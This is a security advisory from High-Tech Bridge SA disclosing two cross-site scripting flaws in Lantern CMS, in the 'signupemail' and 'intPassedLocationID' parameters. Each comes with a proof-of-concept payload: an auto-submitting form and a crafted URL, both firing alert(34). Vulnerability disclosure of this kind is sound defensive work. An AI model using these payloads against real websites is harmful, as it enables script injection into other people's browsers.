Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Lantern CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in Lantern CMS
1.1 The vulnerability exists due to input sanitation error in the "signupemail" parameter in www/html/7-home-page.asp. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form method="POST" name="m" action="http://host/www/html/7-home-page.asp">
<input type="hidden" name="signupemail" value="%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%2834%29%3E">
<input type="hidden" name="signupsubmit" value="Submit">
</form>
<script>
document.m.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "intPassedLocationID"parameter in www/html/11-login.asp. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/www/html/11-login.asp?intPassedLocationID=57%27%22%3E%3Cscript%3 Ealert%2834%29%3C/script %3E
